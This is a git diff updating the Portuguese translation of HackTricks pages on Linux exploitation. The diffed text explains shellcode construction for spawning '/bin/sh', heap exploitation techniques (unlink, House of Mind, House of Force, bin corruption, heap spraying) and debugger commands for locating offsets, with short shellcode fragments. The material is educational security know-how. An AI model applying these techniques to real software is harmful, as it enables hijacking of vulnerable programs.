+ +Suporte ao HackTricks + +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). + +
+{% endhint %} diff --git a/exploiting/linux-exploiting-basic-esp/README.md b/exploiting/linux-exploiting-basic-esp/README.md index 3bf29306d..ffaf36ddd 100644 --- a/exploiting/linux-exploiting-basic-esp/README.md +++ b/exploiting/linux-exploiting-basic-esp/README.md @@ -29,8 +29,8 @@ mov al, 0x01 ; eax = 1 —> \_\_NR\_exit 1\ int 0x80 ; Executar syscall **nasm -f elf assembly.asm** —> Nos retorna um .o\ -**ld assembly.o -o shellcodeout** —> Nos dá um executável formado pelo código assembly e podemos obter os opcodes com **objdump**\ -**objdump -d -Mintel ./shellcodeout** —> Para ver que efetivamente é nossa shellcode e obter os OpCodes +**ld assembly.o -o shellcodeout** —> Nos dá um executável formado pelo código assembly e podemos extrair os opcodes com **objdump**\ +**objdump -d -Mintel ./shellcodeout** —> Para ver que efetivamente é nossa shellcode e extrair os OpCodes **Verificar se a shellcode funciona** ``` @@ -42,9 +42,9 @@ fp = (void *)shellcode; fp(); } ``` -Para ver que as chamadas de sistema são realizadas corretamente, deve-se compilar o programa anterior e as chamadas de sistema devem aparecer em **strace ./PROGRAMA\_COMPILADO** +Para ver que as chamadas de sistema são realizadas corretamente, deve-se compilar o programa anterior e as chamadas do sistema devem aparecer em **strace ./PROGRAMA\_COMPILADO** -Na hora de criar shellcodes, pode-se realizar um truque. A primeira instrução é um jump para um call. O call chama o código original e ainda coloca no stack o EIP. Depois da instrução call, colocamos a string que precisarmos, então com esse EIP podemos apontar para a string e além disso continuar executando o código. +Na hora de criar shellcodes, pode-se realizar um truque. A primeira instrução é um jump para um call. O call chama o código original e além disso coloca no stack o EIP. Depois da instrução call, colocamos a string que precisarmos, portanto, com esse EIP podemos apontar para a string e além disso continuar executando o código. EJ **TRUQUE (/bin/sh)**: ``` @@ -66,7 +66,7 @@ int $0x80 ; exit(0) call -0x24 ; Salto a la primera instrución .string \”/bin/sh\” ; String a usar ``` -**EJ usando a Stack(/bin/sh):** +**EJ usando a Pilha(/bin/sh):** ``` section .text global _start @@ -125,13 +125,13 @@ sc: Em linux, todos os programas são mapeados começando em 0xbfffffff -Vendo como se constrói a pilha de um novo processo em linux, pode-se desenvolver um exploit de forma que o programa seja iniciado em um ambiente cuja única variável seja a shellcode. A endereço desta então pode ser calculada como: addr = 0xbfffffff - 4 - strlen(NOME\_ejecutable\_completo) - strlen(shellcode) +Vendo como se constrói a pilha de um novo processo em linux, pode-se desenvolver um exploit de forma que o programa seja iniciado em um ambiente cuja única variável seja a shellcode. O endereço desta então pode ser calculado como: addr = 0xbfffffff - 4 - strlen(NOME\_ejecutable\_completo) - strlen(shellcode) -Dessa forma, obter-se-ia de forma simples a endereço onde está a variável de ambiente com a shellcode. +Dessa forma, obter-se-ia de forma simples o endereço onde está a variável de ambiente com a shellcode. -Isso pode ser feito graças à função execle que permite criar um ambiente que só tenha as variáveis de ambiente desejadas. +Isso pode ser feito graças à função execle que permite criar um ambiente que tenha apenas as variáveis de ambiente desejadas. -## +### ### @@ -166,7 +166,7 @@ Hoje em dia é muito **estranho explorar isso**. **`Setjmp()`** permite **salvar** o **contexto** (os registradores)\ **`longjmp()`** permite **restaurar** o **contexto**.\ Os **registradores salvos** são: `EBX, ESI, EDI, ESP, EIP, EBP`\ -O que acontece é que EIP e ESP são passados pela **`PTR_MANGLE`** função, então a **arquitetura vulnerável a esse ataque é a mesma que acima**.\ +O que acontece é que EIP e ESP são passados pela **função `PTR_MANGLE`**, então a **arquitetura vulnerável a esse ataque é a mesma que acima**.\ Eles são úteis para recuperação de erros ou interrupções.\ No entanto, pelo que li, os outros registradores não estão protegidos, **então se houver um `call ebx`, `call esi` ou `call edi`** dentro da função chamada, o controle pode ser assumido. Ou você também poderia modificar EBP para modificar o ESP. @@ -217,7 +217,7 @@ prev\_size |\ size | —Cabeçalho\ \*mem | Dados -**Trozo livre** +**Trozo libre** prev\_size |\ size |\ @@ -229,7 +229,7 @@ Os trozos livres estão em uma lista duplamente encadeada (bin) e nunca podem ha Em “size” há bits para indicar: Se o trozo anterior está em uso, se o trozo foi alocado por mmap() e se o trozo pertence à arena primária. -Se ao liberar um trozo algum dos contíguos estiver livre, eles se fundem através da macro unlink() e o novo trozo maior é passado para frontlink() para que insira o bin adequado. +Se ao liberar um trozo algum dos contíguos estiver livre, estes se fundem através da macro unlink() e o novo trozo maior é passado para frontlink() para que insira o bin adequado. unlink(){\ BK = P->bk; —> O BK do novo chunk é o que tinha o que já estava livre antes\ @@ -270,13 +270,13 @@ Ao chamar unlink() usará como P->fd os primeiros dados do 2º trozo, portanto, **"\x80\xe8\xdc\xff\xff\xff/bin/sh";** -**prev\_size = pack("\fd os primeiros dados do 2º trozo, portanto, **unset() liberando em sentido inverso (wargame)** -Estamos controlando 3 chunks consecutivos e eles são liberados em ordem inversa à reservada. +Estamos controlando 3 chunks consecutivos e eles são liberados na ordem inversa à reservada. Nesse caso: -No chunk c coloca-se a shellcode +No chunk c colocamos a shellcode O chunk a usamos para sobrescrever o b de forma que o size tenha o bit PREV\_INUSE desativado, de forma que pense que o chunk a está livre. Além disso, sobrescrevemos no cabeçalho b o size para que valha -4. -Então, o programa pensará que “a” está livre e em um bin, portanto chamará unlink() para desenlaçá-lo. No entanto, como o cabeçalho PREV\_SIZE vale -4, pensará que o trozo de “a” realmente começa em b+4. Ou seja, fará um unlink() a um trozo que começa em b+4, portanto em b+12 estará o ponteiro “fd” e em b+16 estará o ponteiro “bk”. +Então, o programa pensará que “a” está livre e em um bin, por isso chamará unlink() para desenlaçá-lo. No entanto, como o cabeçalho PREV\_SIZE vale -4, pensará que o trozo de “a” realmente começa em b+4. Ou seja, fará um unlink() a um trozo que começa em b+4, por isso em b+12 estará o ponteiro “fd” e em b+16 estará o ponteiro “bk”. Dessa forma, se em bk colocarmos o endereço da shellcode e em fd colocarmos o endereço da função “puts()”-12, temos nosso payload. @@ -322,7 +322,7 @@ Dessa forma, conseguindo sobrescrever em dois mallocs de forma descontrolada e e Se se chama duas vezes a free() com o mesmo ponteiro, ficam dois bins apontando para o mesmo endereço. -No caso de querer voltar a usar um, ele seria atribuído sem problemas. No caso de querer usar outro, seria atribuído o mesmo espaço, portanto teríamos os ponteiros “fd” e “bk” falsificados com os dados que escreverá a reserva anterior. +Caso se queira voltar a usar um, ele será atribuído sem problemas. Caso se queira usar outro, será atribuído o mesmo espaço, por isso teríamos os ponteiros “fd” e “bk” falsificados com os dados que escreverá a reserva anterior. **After free()** @@ -344,7 +344,7 @@ mchunkptr p; … -p = mem2chunk(mes); —> Retorna um ponteiro ao endereço onde começa o trozo (mem-8) +p = mem2chunk(mes); —> Retorna um ponteiro para o endereço onde começa o trozo (mem-8) … @@ -381,9 +381,9 @@ fwd->bk = \*(av->bins\[2] + 12) = p; Portanto, se em av->bins\[2] escrevemos o valor de \_\_DTOR\_END\_\_-12, na última instrução se escreverá em \_\_DTOR\_END\_\_ o endereço do segundo trozo. -Ou seja, no primeiro trozo temos que colocar no início muitas vezes o endereço de \_\_DTOR\_END\_\_-12 porque é daí que av->bins\[2] o tirará. +Ou seja, no primeiro trozo temos que colocar no início muitas vezes o endereço de \_\_DTOR\_END\_\_-12 porque é daí que av->bins\[2] irá tirar. -No endereço que cair o endereço do segundo trozo com os últimos 5 zeros, deve-se escrever o endereço a este primeiro trozo para que heap\_for\_ptr() pense que o ar\_ptr está ao início do primeiro trozo e saque daí o av->bins\[2]. +No endereço que cair a direção do segundo trozo com os últimos 5 zeros, devemos escrever o endereço deste primeiro trozo para que heap\_for\_ptr() pense que o ar\_ptr está no início do primeiro trozo e tire de lá o av->bins\[2]. No segundo trozo e graças ao primeiro, sobrescrevemos o prev\_size com um jump 0x0c e o size com algo para ativar -> NON\_MAIN\_ARENA. @@ -409,13 +409,13 @@ p->fd = \*fb \*fb = p -Dessa forma, se se colocar em “fb” dá endereço de uma função na GOT, nesse endereço se colocará o endereço ao trozo sobrescrito. Para isso será necessário que a arena esteja perto dos endereços de dtors. Mais exatamente, que av->max\_fast esteja no endereço que vamos sobrescrever. +Dessa forma, se se colocar em “fb” dá endereço de uma função na GOT, nesse endereço se colocará o endereço do trozo sobrescrito. Para isso será necessário que a arena esteja perto dos endereços de dtors. Mais exatamente, que av->max\_fast esteja no endereço que vamos sobrescrever. Dado que com The House of Mind vimos que nós controlávamos a posição do av. -Então, se no campo size colocarmos um tamanho de 8 + NON\_MAIN\_ARENA + PREV\_INUSE —> fastbin\_index() nos devolverá fastbins\[-1], que apontará para av->max\_fast. +Então, se no campo size colocamos um tamanho de 8 + NON\_MAIN\_ARENA + PREV\_INUSE —> fastbin\_index() nos devolverá fastbins\[-1], que apontará para av->max\_fast. -Nesse caso, av->max\_fast será o endereço que se sobrescreverá (não a que aponte, mas essa posição será a que se sobrescreverá). +Nesse caso, av->max\_fast será o endereço que será sobrescrito (não a que aponte, mas essa posição será a que será sobrescrita). Além disso, deve-se cumprir que o trozo contíguo ao liberado deve ser maior que 8 -> Dado que dissemos que o size do trozo liberado é 8, nesse trozo falso só temos que colocar um size maior que 8 (como além disso a shellcode irá no trozo liberado, haverá que colocar no início um jmp que caia em nops). @@ -429,13 +429,13 @@ Se modificarmos o size para que dê 16 em vez de 8, então: fastbin\_index() nos Para isso, não deve haver nenhum canary nem valores estranhos na pilha, de fato, temos que nos encontrar nela: 4bytes nulos + EBP + RET. -Os 4 bytes nulos são necessários para que o **av** esteja a esse endereço e o primeiro elemento de um **av** é o mutex que deve valer 0. +Os 4 bytes nulos são necessários para que o **av** esteja nesse endereço e o primeiro elemento de um **av** é o mutex que deve valer 0. O **av->max\_fast** será o EBP e será um valor que nos servirá para saltar as restrições. -No **av->fastbins\[0]** se sobrescreverá com o endereço de **p** e será o RET, assim se saltará para a shellcode. +No **av->fastbins\[0]** será sobrescrito com o endereço de **p** e será o RET, assim se saltará para a shellcode. -Além disso, em **av->system\_mem** (1484bytes acima da posição na pilha) haverá bastante lixo que nos permitirá saltar a verificação que se realiza. +Além disso, em **av->system\_mem** (1484bytes acima da posição na pilha) haverá bastante lixo que nos permitirá pular a verificação que é realizada. Além disso, deve-se cumprir que o trozo contíguo ao liberado deve ser maior que 8 -> Dado que dissemos que o size do trozo liberado é 16, nesse trozo falso só temos que colocar um size maior que 8 (como além disso a shellcode irá no trozo liberado, haverá que colocar no início um jmp que caia em nops que vão depois do campo size do novo trozo falso). @@ -445,11 +445,11 @@ Nesse caso, buscamos ter um ponteiro a um malloc que possa ser alterável pelo a Assim, poderíamos fazer com que esse ponteiro apontasse para onde fosse. No entanto, nem todo local é válido, o tamanho do trozo falsificado deve ser menor que av->max\_fast e mais especificamente igual ao tamanho solicitado em uma futura chamada a malloc()+8. Por isso, se sabemos que depois desse ponteiro vulnerável se chama malloc(40), o tamanho do trozo falso deve ser igual a 48. -Se por exemplo o programa perguntasse ao usuário por um número, poderíamos introduzir 48 e apontar o ponteiro de malloc modificável para os seguintes 4bytes (que poderiam pertencer ao EBP com sorte, assim o 48 fica por trás, como se fosse a cabeçalho size). Além disso, o endereço ptr-4+48 deve cumprir várias condições (sendo nesse caso ptr=EBP), ou seja, 8 < ptr-4+48 < av->system\_mem. +Se, por exemplo, o programa perguntasse ao usuário por um número, poderíamos introduzir 48 e apontar o ponteiro de malloc modificável para os seguintes 4bytes (que poderiam pertencer ao EBP com sorte, assim o 48 fica por trás, como se fosse o cabeçalho size). Além disso, o endereço ptr-4+48 deve cumprir várias condições (sendo nesse caso ptr=EBP), ou seja, 8 < ptr-4+48 < av->system\_mem. -Caso isso se cumpra, quando se chamar o próximo malloc que dissemos que era malloc(40), será atribuído como endereço o endereço do EBP. Caso o atacante também possa controlar o que se escreve nesse malloc, pode sobrescrever tanto o EBP quanto o EIP com o endereço que quiser. +Caso isso se cumpra, quando se chamar o próximo malloc que dissemos que era malloc(40), será atribuído como endereço o endereço do EBP. Caso o atacante também possa controlar o que é escrito nesse malloc, pode sobrescrever tanto o EBP quanto o EIP com o endereço que quiser. -Isso creio que é porque assim quando o liberar free() guardará que no endereço que aponta ao EBP da pilha há um trozo de tamanho perfeito para o novo malloc() que se quer reservar, assim que lhe atribui esse endereço. +Acredito que isso seja porque assim, quando o liberar, free() guardará que no endereço que aponta para o EBP da pilha há um trozo de tamanho perfeito para o novo malloc() que se deseja reservar, assim que lhe atribui esse endereço. **The House of Force** @@ -461,9 +461,9 @@ Isso creio que é porque assim quando o liberar free() guardará que no endereç O primeiro que se faz é sobrescrever o size do trozo wilderness com um valor muito grande (0xffffffff), assim qualquer solicitação de memória suficientemente grande será tratada em \_int\_malloc() sem necessidade de expandir o heap. -O segundo é alterar o av->top para que aponte a uma zona de memória sob o controle do atacante, como a pilha. Em av->top se colocará \&EIP - 8. +O segundo é alterar o av->top para que aponte para uma zona de memória sob o controle do atacante, como a pilha. Em av->top se colocará \&EIP - 8. -Temos que sobrescrever av->top para que aponte à zona de memória sob o controle do atacante: +Temos que sobrescrever av->top para que aponte para a zona de memória sob o controle do atacante: victim = av->top; @@ -471,11 +471,11 @@ remainder = chunck\_at\_offset(victim, nb); av->top = remainder; -Victim coleta o valor do endereço do trozo wilderness atual (o atual av->top) e remainder é exatamente a soma desse endereço mais a quantidade de bytes solicitados por malloc(). Portanto, se \&EIP-8 está em 0xbffff224 e av->top contém 0x080c2788, então a quantidade que temos que reservar no malloc controlado para que av->top fique apontando para $EIP-8 para o próximo malloc() será: +Victim coleta o valor do endereço do trozo wilderness atual (o atual av->top) e remainder é exatamente a soma desse endereço mais a quantidade de bytes solicitados por malloc(). Por isso, se \&EIP-8 está em 0xbffff224 e av->top contém 0x080c2788, então a quantidade que temos que reservar no malloc controlado para que av->top fique apontando para $EIP-8 para o próximo malloc() será: 0xbffff224 - 0x080c2788 = 3086207644. -Assim, se guardará em av->top o valor alterado e o próximo malloc apontará ao EIP e poderá sobrescrevê-lo. +Assim, se guardará em av->top o valor alterado e o próximo malloc apontará para o EIP e poderá sobrescrevê-lo. É importante saber que o size do novo trozo wilderness seja maior que a solicitação realizada pelo último malloc(). Ou seja, se o wilderness está apontando para \&EIP-8, o size ficará justo no campo EBP da pilha. @@ -483,41 +483,41 @@ Assim, se guardará em av->top o valor alterado e o próximo malloc apontará ao **Corrupção SmallBin** -Os trozos liberados são introduzidos no bin em função de seu tamanho. Mas antes de serem introduzidos, são guardados em unsorted bins. Um trozo é liberado, não se coloca imediatamente em seu bin, mas fica em unsorted bins. A seguir, se se reserva um novo trozo e o anterior liberado pode servir, se o devolve, mas se se reserva maior, o trozo liberado em unsorted bins se coloca em seu bin adequado. +Os trozos liberados são introduzidos no bin em função de seu tamanho. Mas antes de serem introduzidos, são guardados em unsorted bins. Um trozo é liberado, não se coloca imediatamente em seu bin, mas fica em unsorted bins. A seguir, se reserva um novo trozo e o anterior liberado pode servir, devolve-se a ele, mas se se reserva um maior, o trozo liberado em unsorted bins se coloca em seu bin adequado. Para alcançar o código vulnerável, a solicitação de memória deverá ser maior que av->max\_fast (72 normalmente) e menor que MIN\_LARGE\_SIZE (512). -Se no bin há um trozo do tamanho adequado ao que se pede, se devolve esse depois de desenlaçá-lo: +Se nos bins houver um trozo do tamanho adequado ao que se pede, devolve-se esse após desenlaçá-lo: -bck = victim->bk; Aponta ao trozo anterior, é a única info que podemos alterar. +bck = victim->bk; Aponta para o trozo anterior, é a única info que podemos alterar. -bin->bk = bck; O penúltimo trozo passa a ser o último, caso bck aponte para a pilha, ao próximo trozo reservado se lhe dará esse endereço. +bin->bk = bck; O penúltimo trozo passa a ser o último, caso bck aponte para a pilha, ao próximo trozo reservado se dará esse endereço. -bck->fd = bin; Se fecha a lista fazendo com que este aponte para bin. +bck->fd = bin; Fecha-se a lista fazendo com que este aponte para bin. -É necessário: +Necessita-se: -Que se reservem dois malloc, de forma que ao primeiro se lhe possa fazer overflow depois que o segundo tenha sido liberado e introduzido em seu bin (ou seja, se tenha reservado um malloc superior ao segundo trozo antes de fazer o overflow). +Que se reservem dois malloc, de forma que ao primeiro se possa fazer overflow após que o segundo tenha sido liberado e introduzido em seu bin (ou seja, tenha sido reservado um malloc superior ao segundo trozo antes de fazer o overflow). -Que o malloc reservado ao qual se lhe dá o endereço escolhido pelo atacante seja controlado pelo atacante. +Que o malloc reservado ao qual se dá o endereço escolhido pelo atacante seja controlado pelo atacante. -O objetivo é o seguinte, se podemos fazer um overflow a um heap que tem por baixo um trozo já liberado e em seu bin, podemos alterar seu ponteiro bk. Se alteramos seu ponteiro bk e esse trozo chega a ser o primeiro da lista de bin e se reserva, a bin se enganará e se dirá que o último trozo da lista (o próximo a oferecer) está no endereço falso que colocamos (na pilha ou GOT, por exemplo). Portanto, se se voltar a reservar outro trozo e o atacante tem permissões nele, se lhe dará um trozo na posição desejada e poderá escrever nele. +O objetivo é o seguinte, se podemos fazer um overflow a um heap que tem por baixo um trozo já liberado e em seu bin, podemos alterar seu ponteiro bk. Se alteramos seu ponteiro bk e esse trozo chega a ser o primeiro da lista de bin e se reserva, a bin será enganada e dirá que o último trozo da lista (o próximo a oferecer) está no endereço falso que colocamos (na pilha ou GOT, por exemplo). Portanto, se se voltar a reservar outro trozo e o atacante tem permissões nele, se lhe dará um trozo na posição desejada e poderá escrever nele. -Após liberar o trozo modificado, é necessário que se reserve um trozo maior que o liberado, assim o trozo modificado sairá de unsorted bins e se introduziria em seu bin. +Após liberar o trozo modificado, é necessário que se reserve um trozo maior que o liberado, assim o trozo modificado sairá de unsorted bins e se introduzirá em seu bin. Uma vez em seu bin, é o momento de modificar seu ponteiro bk através do overflow para que aponte para o endereço que queremos sobrescrever. -Assim, o bin deverá esperar turno até que se chame a malloc() suficientes vezes para que se volte a utilizar o bin modificado e enganar o bin fazendo-o acreditar que o próximo trozo está no endereço falso. E a seguir se dará o trozo que nos interessa. +Assim, o bin deverá esperar turno para que se chame a malloc() suficientes vezes para que se volte a utilizar o bin modificado e enganar o bin fazendo-o acreditar que o próximo trozo está no endereço falso. E a seguir se dará o trozo que nos interessa. -Para que se execute a vulnerabilidade o mais rápido possível, o ideal seria: Reserva do trozo vulnerável, reserva do trozo que se modificará, se libera esse trozo, se reserva um trozo maior ao que se modificará, se modifica o trozo (vulnerabilidade), se reserva um trozo de igual tamanho ao vulnerado e se reserva um segundo trozo de igual tamanho e este será o que aponte para o endereço escolhido. +Para que a vulnerabilidade se execute o mais rápido possível, o ideal seria: Reserva do trozo vulnerável, reserva do trozo que se modificará, libera-se esse trozo, reserva-se um trozo maior ao que se modificará, modifica-se o trozo (vulnerabilidade), reserva-se um trozo de igual tamanho ao vulnerado e reserva-se um segundo trozo de igual tamanho e este será o que aponte para o endereço escolhido. Para proteger esse ataque, usou-se a típica verificação de que o trozo “não” é falso: verifica-se se bck->fd está apontando para victim. Ou seja, no nosso caso, se o ponteiro fd\* do trozo falso apontado na pilha está apontando para victim. Para ultrapassar essa proteção, o atacante deveria ser capaz de escrever de alguma forma (provavelmente pela pilha) no endereço adequado a direção de victim. Para que assim pareça um trozo verdadeiro. **Corrupção LargeBin** -São necessários os mesmos requisitos que antes e mais alguns, além disso, os trozos reservados devem ser maiores que 512. +Necessita-se dos mesmos requisitos que antes e mais alguns, além disso, os trozos reservados devem ser maiores que 512. -O ataque é como o anterior, ou seja, tem que modificar o ponteiro bk e se precisam todas essas chamadas a malloc(), mas além disso, há que modificar o size do trozo modificado de forma que esse size - nb seja < MINSIZE. +O ataque é como o anterior, ou seja, tem que modificar o ponteiro bk e se necessitam todas essas chamadas a malloc(), mas além disso, deve-se modificar o size do trozo modificado de forma que esse size - nb seja < MINSIZE. Por exemplo, fará que colocar em size 1552 para que 1552 - 1544 = 8 < MINSIZE (a subtração não pode ficar negativa porque se compara um unsigned). @@ -525,7 +525,7 @@ Além disso, foi introduzido um patch para torná-lo ainda mais complicado. **Heap Spraying** -Basicamente consiste em reservar toda a memória possível para heaps e preencher esses com um colchão de nops acabados por uma shellcode. Além disso, como colchão se utiliza 0x0c. Pois se tentará saltar para o endereço 0x0c0c0c0c, e assim se sobrescrever alguma direção a que se vá chamar com esse colchão, se saltará ali. Basicamente, a tática é reservar o máximo possível para ver se se sobrescreve algum ponteiro e saltar para 0x0c0c0c0c esperando que ali haja nops. +Basicamente consiste em reservar toda a memória possível para heaps e preencher esses com um colchão de nops acabados por uma shellcode. Além disso, como colchão, utiliza-se 0x0c. Pois se tentará saltar para o endereço 0x0c0c0c0c, e assim, se se sobrescrever algum endereço ao qual se vá chamar com esse colchão, se saltará ali. Basicamente, a tática é reservar o máximo possível para ver se se sobrescreve algum ponteiro e saltar para 0x0c0c0c0c esperando que ali haja nops. **Heap Feng Shui** @@ -563,7 +563,7 @@ Aprenda e pratique GCP Hacking: Support HackTricks * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
diff --git a/exploiting/linux-exploiting-basic-esp/fusion.md b/exploiting/linux-exploiting-basic-esp/fusion.md index 1eca268c6..29f3a0d39 100644 --- a/exploiting/linux-exploiting-basic-esp/fusion.md +++ b/exploiting/linux-exploiting-basic-esp/fusion.md @@ -1,14 +1,14 @@ {% hint style="success" %} -Aprenda e pratique Hacking AWS: [**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Suporte ao HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} @@ -18,7 +18,7 @@ Aprenda e pratique Hacking GCP: [**HackTricks Treinamento AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique GCP Hacking: [**HackTricks Treinamento GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Suporte o HackTricks +Suporte ao HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
{% endhint %} diff --git a/exploiting/tools/README.md b/exploiting/tools/README.md index c71699efd..8b52e85a0 100644 --- a/exploiting/tools/README.md +++ b/exploiting/tools/README.md @@ -133,7 +133,7 @@ Enquanto depurando, o GDB terá **endereços ligeiramente diferentes dos usados * `unset env LINES` * `unset env COLUMNS` -* `set env _=` _Coloque o caminho absoluto para o binário_ +* `set env _=` _Coloque o caminho absoluto para o binário_ * Exploit o binário usando a mesma rota absoluta * `PWD` e `OLDPWD` devem ser os mesmos ao usar o GDB e ao explorar o binário @@ -155,10 +155,10 @@ gef➤ bt ## Ghidra -### Encontrar offset da pilha +### Encontrar deslocamento da pilha -**Ghidra** é muito útil para encontrar o **offset** para um **buffer overflow graças às informações sobre a posição das variáveis locais.**\ -Por exemplo, no exemplo abaixo, um buffer flow em `local_bc` indica que você precisa de um offset de `0xbc`. Além disso, se `local_10` for um canary cookie, isso indica que para sobrescrevê-lo a partir de `local_bc` há um offset de `0xac`.\ +**Ghidra** é muito útil para encontrar o **deslocamento** para um **buffer overflow graças às informações sobre a posição das variáveis locais.**\ +Por exemplo, no exemplo abaixo, um fluxo de buffer em `local_bc` indica que você precisa de um deslocamento de `0xbc`. Além disso, se `local_10` for um canary cookie, isso indica que para sobrescrevê-lo a partir de `local_bc` há um deslocamento de `0xac`.\ _Lembre-se de que os primeiros 0x08 de onde o RIP é salvo pertencem ao RBP._ ![](<../../.gitbook/assets/image (616).png>) @@ -185,7 +185,7 @@ _Lembre-se de que os primeiros 0x08 de onde o RIP é salvo pertencem ao RBP._ \-D -s -j .plt --> seção **plt** **decompilada**\ **-TR** --> **Realocações**\ **ojdump -t --dynamic-relo ./exec | grep puts** --> Endereço de "puts" para modificar no GOT\ -**objdump -D ./exec | grep "VAR\_NAME"** --> Endereço de uma variável estática (essas são armazenadas na seção DATA). +**objdump -D ./exec | grep "VAR\_NAME"** --> Endereço ou uma variável estática (essas são armazenadas na seção DATA). ## Core dumps @@ -197,8 +197,8 @@ _Lembre-se de que os primeiros 0x08 de onde o RIP é salvo pertencem ao RBP._ **ldd executable | grep libc.so.6** --> Endereço (se ASLR, então isso muda toda vez)\ **for i in \`seq 0 20\`; do ldd \ | grep libc; done** --> Loop para ver se o endereço muda muito\ -**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Offset de "system"\ -**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Offset de "/bin/sh" +**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Deslocamento de "system"\ +**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Deslocamento de "/bin/sh" **strace executable** --> Funções chamadas pelo executável\ **rabin2 -i ejecutable -->** Endereço de todas as funções @@ -221,8 +221,8 @@ Então, configure o depurador: Debugger (linux remote) --> Proccess options...: ![](<../../.gitbook/assets/image (101).png>) {% hint style="success" %} -Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
@@ -230,7 +230,7 @@ Aprenda e pratique Hacking GCP: {% endhint %} diff --git a/exploiting/tools/pwntools.md b/exploiting/tools/pwntools.md index 1db1ebf9f..a4faa0057 100644 --- a/exploiting/tools/pwntools.md +++ b/exploiting/tools/pwntools.md @@ -1,14 +1,14 @@ {% hint style="success" %} -Aprenda e pratique AWS Hacking: [**HackTricks Treinamento AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique GCP Hacking: [**HackTricks Treinamento GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Treinamento AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Treinamento GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
